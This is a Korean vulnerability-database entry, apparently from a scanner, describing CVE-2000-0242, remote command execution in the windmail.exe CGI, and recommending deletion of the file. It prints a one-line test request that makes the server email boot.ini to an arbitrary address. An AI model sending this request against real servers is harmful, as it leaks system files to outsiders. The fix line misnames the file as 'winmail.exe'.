| 취약점ID |
21101 |
| 위험도 |
40 |
| 포트 |
80, ... |
| 프로토콜 |
TCP |
| 분류 |
CGI |
| 상세설명 |
해당 웹서버에 "windmail.exe" CGI가 설치되어 있다. 이 CGI의 몇몇 버전에서 외부에서 서버내의 임의의 명령을 수행시킬 수 있게 해 주는 취약점이 있다. (pipe-command를 통하여) 다음과 같이 요청을 하면 이를 검점할 수 있다.
GET /cgi-bin/windmail.exe?-n%20c:\boot.ini%20myid@myaddress.com
(my@myaddress.com은 실제 Email 주소로 대체되어야 한다)
이렇게 한후 boot.ini의 내용이 이 Email 주소로 배달되면 취약점이 실제로 존재한다.
* 참고 사이트:
http://www.securityfocus.com/bid/1073
http://www.iss.net/security_center/static/4187.php
* 영향을 받는 플랫폼:
Web Server |
| 해결책 |
/cgi-bin 디렉토리에 있는 "winmail.exe" 파일을 삭제한다. |
| 관련 URL |
CVE-2000-0242 (CVE) |
| 관련 URL |
(SecurityFocus) |
| 관련 URL |
(ISS) |
|
